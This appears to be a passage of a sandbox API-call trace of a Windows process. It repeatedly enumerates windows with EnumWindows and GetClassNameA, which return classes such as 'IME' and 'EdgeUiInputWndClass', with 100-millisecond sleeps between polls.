[0264.037] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x10258, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x10252, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x10244, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x10222, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x4014e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0264.038] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x401e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x6033c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x20040, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] GetClassNameA (in: hWnd=0x10070, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.038] Sleep (dwMilliseconds=0x64) [0264.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.168] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0264.168] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0264.168] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0264.169] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.169] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.169] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.169] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.169] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.169] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0264.170] Sleep (dwMilliseconds=0x64) [0264.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.172] Sleep (dwMilliseconds=0x64) [0264.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.184] Sleep (dwMilliseconds=0x64) [0264.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.187] Sleep (dwMilliseconds=0x64) [0264.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.188] Sleep (dwMilliseconds=0x64) [0264.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.190] Sleep (dwMilliseconds=0x64) [0264.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.192] Sleep (dwMilliseconds=0x64) [0264.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.194] Sleep (dwMilliseconds=0x64) [0264.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.196] Sleep (dwMilliseconds=0x64) [0264.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.197] Sleep (dwMilliseconds=0x64) [0264.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.328] Sleep (dwMilliseconds=0x64) [0264.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.370] Sleep (dwMilliseconds=0x64) [0264.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.417] Sleep (dwMilliseconds=0x64) [0264.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.487] Sleep (dwMilliseconds=0x64) [0264.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.489] Sleep (dwMilliseconds=0x64) [0264.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.491] Sleep (dwMilliseconds=0x64) [0264.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.493] Sleep (dwMilliseconds=0x64) [0264.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.495] Sleep (dwMilliseconds=0x64) [0264.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.497] Sleep (dwMilliseconds=0x64) [0264.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.499] Sleep (dwMilliseconds=0x64) [0264.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.502] Sleep (dwMilliseconds=0x64) [0264.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.504] Sleep (dwMilliseconds=0x64) [0264.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.506] Sleep (dwMilliseconds=0x64) [0264.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.509] Sleep (dwMilliseconds=0x64) [0264.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.511] Sleep (dwMilliseconds=0x64) [0264.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.513] Sleep (dwMilliseconds=0x64) [0264.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.515] Sleep (dwMilliseconds=0x64) [0264.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.517] Sleep (dwMilliseconds=0x64) [0264.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.629] Sleep (dwMilliseconds=0x64) [0264.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.631] Sleep (dwMilliseconds=0x64) [0264.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.634] Sleep (dwMilliseconds=0x64) [0264.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.636] Sleep (dwMilliseconds=0x64) [0264.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.638] Sleep (dwMilliseconds=0x64) [0264.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.640] Sleep (dwMilliseconds=0x64) [0264.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.642] Sleep (dwMilliseconds=0x64) [0264.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.643] Sleep (dwMilliseconds=0x64) [0264.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.645] Sleep (dwMilliseconds=0x64) [0264.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.646] Sleep (dwMilliseconds=0x64) [0264.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.648] Sleep (dwMilliseconds=0x64) [0264.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.649] Sleep (dwMilliseconds=0x64) [0264.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.651] Sleep (dwMilliseconds=0x64) [0264.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.652] Sleep (dwMilliseconds=0x64) [0264.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.654] Sleep (dwMilliseconds=0x64) [0264.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.658] Sleep (dwMilliseconds=0x64) [0264.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.854] Sleep (dwMilliseconds=0x64) [0264.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.855] Sleep (dwMilliseconds=0x64) [0264.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.857] Sleep (dwMilliseconds=0x64) [0264.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.870] Sleep (dwMilliseconds=0x64) [0264.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.872] Sleep (dwMilliseconds=0x64) [0264.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.876] Sleep (dwMilliseconds=0x64) [0264.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.878] Sleep (dwMilliseconds=0x64) [0264.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.880] Sleep (dwMilliseconds=0x64) [0264.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.895] Sleep (dwMilliseconds=0x64) [0265.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.008] Sleep (dwMilliseconds=0x64) [0265.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.009] Sleep (dwMilliseconds=0x64) [0265.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.011] Sleep (dwMilliseconds=0x64) [0265.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.013] Sleep (dwMilliseconds=0x64) [0265.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.015] Sleep (dwMilliseconds=0x64) [0265.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.017] Sleep (dwMilliseconds=0x64) [0265.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.021] Sleep (dwMilliseconds=0x64) [0265.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.023] Sleep (dwMilliseconds=0x64) [0265.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.025] Sleep (dwMilliseconds=0x64) [0265.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.027] Sleep (dwMilliseconds=0x64) [0265.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.029] Sleep (dwMilliseconds=0x64) [0265.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.031] Sleep (dwMilliseconds=0x64) [0265.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.033] Sleep (dwMilliseconds=0x64) [0265.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.035] Sleep (dwMilliseconds=0x64) [0265.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.037] Sleep (dwMilliseconds=0x64) [0265.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.146] Sleep (dwMilliseconds=0x64) [0265.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.148] Sleep (dwMilliseconds=0x64) [0265.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.150] Sleep (dwMilliseconds=0x64) [0265.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.152] Sleep (dwMilliseconds=0x64) [0265.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.156] Sleep (dwMilliseconds=0x64) [0265.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.250] Sleep (dwMilliseconds=0x64) [0265.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.290] Sleep (dwMilliseconds=0x64) [0265.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.292] Sleep (dwMilliseconds=0x64) [0265.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.293] Sleep (dwMilliseconds=0x64) [0265.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.295] Sleep (dwMilliseconds=0x64) [0265.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.297] Sleep (dwMilliseconds=0x64) [0265.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.299] Sleep (dwMilliseconds=0x64) [0265.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.301] Sleep (dwMilliseconds=0x64) [0265.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.302] Sleep (dwMilliseconds=0x64) [0265.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.304] Sleep (dwMilliseconds=0x64) [0265.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.305] Sleep (dwMilliseconds=0x64) [0265.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.307] Sleep (dwMilliseconds=0x64) [0265.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.309] Sleep (dwMilliseconds=0x64) [0265.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.311] Sleep (dwMilliseconds=0x64) [0265.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.313] Sleep (dwMilliseconds=0x64) [0265.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.314] Sleep (dwMilliseconds=0x64) [0265.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.316] Sleep (dwMilliseconds=0x64) [0265.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.318] Sleep (dwMilliseconds=0x64) [0265.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.461] Sleep (dwMilliseconds=0x64) [0265.462] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.463] Sleep (dwMilliseconds=0x64) [0265.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.465] Sleep (dwMilliseconds=0x64) [0265.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.466] Sleep (dwMilliseconds=0x64) [0265.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.469] Sleep (dwMilliseconds=0x64) [0265.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.470] Sleep (dwMilliseconds=0x64) [0265.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.475] Sleep (dwMilliseconds=0x64) [0265.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.486] Sleep (dwMilliseconds=0x64) [0265.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.496] Sleep (dwMilliseconds=0x64) [0265.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.609] Sleep (dwMilliseconds=0x64) [0265.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.621] Sleep (dwMilliseconds=0x64) [0265.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.630] Sleep (dwMilliseconds=0x64) [0265.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.641] Sleep (dwMilliseconds=0x64) [0265.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.666] Sleep (dwMilliseconds=0x64) [0265.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.675] Sleep (dwMilliseconds=0x64) [0265.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.759] Sleep (dwMilliseconds=0x64) [0265.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.767] Sleep (dwMilliseconds=0x64) [0265.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.800] Sleep (dwMilliseconds=0x64) [0265.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.914] Sleep (dwMilliseconds=0x64) [0265.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.916] Sleep (dwMilliseconds=0x64) [0265.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.919] Sleep (dwMilliseconds=0x64) [0265.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.921] Sleep (dwMilliseconds=0x64) [0265.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.925] Sleep (dwMilliseconds=0x64) [0265.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.929] Sleep (dwMilliseconds=0x64) [0265.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.931] Sleep (dwMilliseconds=0x64) [0265.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.933] Sleep (dwMilliseconds=0x64) [0265.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.935] Sleep (dwMilliseconds=0x64) [0265.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0265.937] Sleep (dwMilliseconds=0x64) [0266.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.098] Sleep (dwMilliseconds=0x64) [0266.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.153] Sleep (dwMilliseconds=0x64) [0266.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.235] Sleep (dwMilliseconds=0x64) [0266.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.236] Sleep (dwMilliseconds=0x64) [0266.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.239] Sleep (dwMilliseconds=0x64) [0266.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.240] Sleep (dwMilliseconds=0x64) [0266.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.242] Sleep (dwMilliseconds=0x64) [0266.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.244] Sleep (dwMilliseconds=0x64) [0266.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.245] Sleep (dwMilliseconds=0x64) [0266.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.247] Sleep (dwMilliseconds=0x64) [0266.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.249] Sleep (dwMilliseconds=0x64) [0266.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.251] Sleep (dwMilliseconds=0x64) [0266.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.253] Sleep (dwMilliseconds=0x64) [0266.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.257] Sleep (dwMilliseconds=0x64) [0266.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.259] Sleep (dwMilliseconds=0x64) [0266.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.261] Sleep (dwMilliseconds=0x64) [0266.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.263] Sleep (dwMilliseconds=0x64) [0266.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.266] Sleep (dwMilliseconds=0x64) [0266.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.430] Sleep (dwMilliseconds=0x64) [0266.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.432] Sleep (dwMilliseconds=0x64) [0266.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.434] Sleep (dwMilliseconds=0x64) [0266.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.435] Sleep (dwMilliseconds=0x64) [0266.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.445] Sleep (dwMilliseconds=0x64) [0266.449] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.449] Sleep (dwMilliseconds=0x64) [0266.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.453] Sleep (dwMilliseconds=0x64) [0266.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.457] Sleep (dwMilliseconds=0x64) [0266.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.458] Sleep (dwMilliseconds=0x64) [0266.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.460] Sleep (dwMilliseconds=0x64) [0266.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.568] Sleep (dwMilliseconds=0x64) [0266.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.578] Sleep (dwMilliseconds=0x64) [0266.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.587] Sleep (dwMilliseconds=0x64) [0266.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.596] Sleep (dwMilliseconds=0x64) [0266.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.605] Sleep (dwMilliseconds=0x64) [0266.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.616] Sleep (dwMilliseconds=0x64) [0266.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.626] Sleep (dwMilliseconds=0x64) [0266.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.730] Sleep (dwMilliseconds=0x64) [0266.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.732] Sleep (dwMilliseconds=0x64) [0266.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.734] Sleep (dwMilliseconds=0x64) [0266.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.736] Sleep (dwMilliseconds=0x64) [0266.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.737] Sleep (dwMilliseconds=0x64) [0266.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.739] Sleep (dwMilliseconds=0x64) [0266.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.740] Sleep (dwMilliseconds=0x64) [0266.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.742] Sleep (dwMilliseconds=0x64) [0266.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.757] Sleep (dwMilliseconds=0x64) [0266.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.759] Sleep (dwMilliseconds=0x64) [0266.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.878] Sleep (dwMilliseconds=0x64) [0266.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.880] Sleep (dwMilliseconds=0x64) [0266.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.882] Sleep (dwMilliseconds=0x64) [0266.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.884] Sleep (dwMilliseconds=0x64) [0266.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.886] Sleep (dwMilliseconds=0x64) [0266.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.888] Sleep (dwMilliseconds=0x64) [0266.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.893] Sleep (dwMilliseconds=0x64) [0266.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.894] Sleep (dwMilliseconds=0x64) [0266.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.896] Sleep (dwMilliseconds=0x64) [0266.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.898] Sleep (dwMilliseconds=0x64) [0266.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.900] Sleep (dwMilliseconds=0x64) [0266.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.902] Sleep (dwMilliseconds=0x64) [0266.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.903] Sleep (dwMilliseconds=0x64) [0266.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.905] Sleep (dwMilliseconds=0x64) [0266.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.906] Sleep (dwMilliseconds=0x64) [0266.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0266.978] Sleep (dwMilliseconds=0x64) [0267.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.023] Sleep (dwMilliseconds=0x64) [0267.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.025] Sleep (dwMilliseconds=0x64) [0267.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.027] Sleep (dwMilliseconds=0x64) [0267.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.029] Sleep (dwMilliseconds=0x64) [0267.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.030] Sleep (dwMilliseconds=0x64) [0267.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.032] Sleep (dwMilliseconds=0x64) [0267.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.033] Sleep (dwMilliseconds=0x64) [0267.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.035] Sleep (dwMilliseconds=0x64) [0267.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.037] Sleep (dwMilliseconds=0x64) [0267.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.038] Sleep (dwMilliseconds=0x64) [0267.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.040] Sleep (dwMilliseconds=0x64) [0267.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.042] Sleep (dwMilliseconds=0x64) [0267.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.044] Sleep (dwMilliseconds=0x64) [0267.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.045] Sleep (dwMilliseconds=0x64) [0267.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.047] Sleep (dwMilliseconds=0x64) [0267.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.050] Sleep (dwMilliseconds=0x64) [0267.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.052] Sleep (dwMilliseconds=0x64) [0267.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.187] Sleep (dwMilliseconds=0x64) [0267.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.189] Sleep (dwMilliseconds=0x64) [0267.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.191] Sleep (dwMilliseconds=0x64) [0267.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.200] Sleep (dwMilliseconds=0x64) [0267.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.202] Sleep (dwMilliseconds=0x64) [0267.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.204] Sleep (dwMilliseconds=0x64) [0267.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.207] Sleep (dwMilliseconds=0x64) [0267.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.209] Sleep (dwMilliseconds=0x64) [0267.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.211] Sleep (dwMilliseconds=0x64) [0267.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.213] Sleep (dwMilliseconds=0x64) [0267.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.215] Sleep (dwMilliseconds=0x64) [0267.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.216] Sleep (dwMilliseconds=0x64) [0267.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0267.362] Sleep (dwMilliseconds=0x64) [0267.412] 